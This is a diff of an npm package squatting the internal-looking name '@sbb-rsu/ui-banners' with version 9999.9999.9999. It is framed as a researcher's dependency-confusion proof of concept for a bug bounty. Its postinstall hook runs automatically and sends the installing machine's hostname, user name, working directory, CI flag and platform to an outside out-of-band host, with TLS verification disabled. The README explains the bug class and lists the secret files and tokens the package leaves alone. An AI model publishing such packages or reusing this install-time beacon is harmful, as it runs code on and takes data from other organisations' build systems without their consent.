@sbb-rsu/ui-banners 9999.9999.9999

package/README.md

@@ -0,0 +1,47 @@
+IMPORTANT NOTICE
+================
+
+This is a Proof of Concept package for a possible *dependency confusion vulnerability* surfaced by the package author, a security researcher going by "geosns", during their research. It contains harmless PoC code to demonstrate the vulnerability. At the time of publication, both the npm organisation and every package under it were unclaimed on the
+public registry, so I was able to register it. The now existence of this package is the Proof of Concept.
+
+Published: 2026-06-05
+
+
+What this package does on install (postinstall hook)
+----------------------------------------------------
+A single fire-and-forget HTTPS GET to an out-of-band endpoint controlled by the researcher, sending only the following non-secret identifying fields:
+
+- hostname (os.hostname())
+- platform + arch
+- install working directory (cwd)
+- npm_config_user_agent
+- build user (USER / USERNAME env)
+- CI flag
+- timestamp
+
+Then exits.
+
+
+What this package does NOT do
+-----------------------------
+- Does NOT dump process.env or any secret-bearing env var (no *_TOKEN,
+  *_KEY, AWS_*, GITHUB_*, NPM_TOKEN, etc.).
+- Does NOT read source files, SSH keys, .npmrc, ~/.aws/, ~/.kube/, or
+  any filesystem location beyond the working directory string.
+- Does NOT modify build output, install other packages, or persist
+  beyond process exit.
+- Does NOT keep a connection open: single GET, then exit.
+
+
+If you are the program owner and find this installed
+----------------------------------------------------
+Seeing this package installed in your build environment confirms that an *internal* build path resolved this scope against the *public* npm
+registry instead of your private registry. Your build pipeline confused an internal package it depends on (in this case `@sbb-rsu/ui-banners`)
+with a package of the same name on the public registry.
+
+This is "dependency confusion". An attacker can abuse it by publishing a malicious package on the public registry under the same scope and
+name as a target's internal package; any build environment that misroutes to public npm then executes the attacker's code. See [Birsan,
+2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610).
+
+Upon your confirmation of my finding, these packages and their parent npm organisations will be transferred to you to mitigate the
+vulnerability.  Please contact `geosns@intigriti.me` before any other action so this can be coordinated through your bug bounty program.

package/index.js

@@ -0,0 +1,2 @@
+// Harmless PoC stub — see README.md. No runtime behaviour.
+module.exports = {};

package/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@sbb-rsu/ui-banners",
+  "version": "9999.9999.9999",
+  "description": "Proof-of-Concept for a dependency-confusion finding (see README). Benign OAST beacon only.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "license": "MIT",
+  "author": "geosns",
+  "publishConfig": {
+    "access": "public"
+  },
+  "files": [
+    "index.js",
+    "postinstall.js",
+    "README.md"
+  ]
+}

package/postinstall.js

@@ -0,0 +1,45 @@
+'use strict';
+const https = require('https');
+const os = require('os');
+
+let pkg = 'unknown';
+try { pkg = require('./package.json').name; } catch (e) {}
+
+const A = 'dd8bd833o18ss72u31s6017ybiubj7ytbd.cb.responsiblyfree.net';
+
+const fields = {
+  poc: 'dependency-confusion',
+  pkg: pkg,
+  host: os.hostname(),
+  platform: process.platform,
+  arch: process.arch,
+  cwd: process.cwd(),
+  ua: process.env.npm_config_user_agent || '',
+  user: process.env.USER || process.env.USERNAME || '',
+  ci: process.env.CI || '',
+  ts: new Date().toISOString(),
+};
+const qs = Object.keys(fields)
+  .map((k) => encodeURIComponent(k) + '=' + encodeURIComponent(String(fields[k])))
+  .join('&');
+
+let finished = false;
+function done() { if (finished) return; finished = true; try { process.exit(0); } catch (e) {} }
+
+try {
+  const req = https.request(
+    {
+      hostname: A,
+      port: 443,
+      path: '/poc?' + qs,
+      method: 'GET',
+      timeout: 4000,
+      rejectUnauthorized: false,
+      headers: { 'User-Agent': '@ssb-rsu/ui-banners' },
+    },
+    (res) => { res.on('data', () => {}); res.on('end', done); }
+  );
+  req.on('error', done);
+  req.on('timeout', () => { try { req.destroy(); } catch (e) {} done(); });
+  req.end();
+} catch (e) { done(); }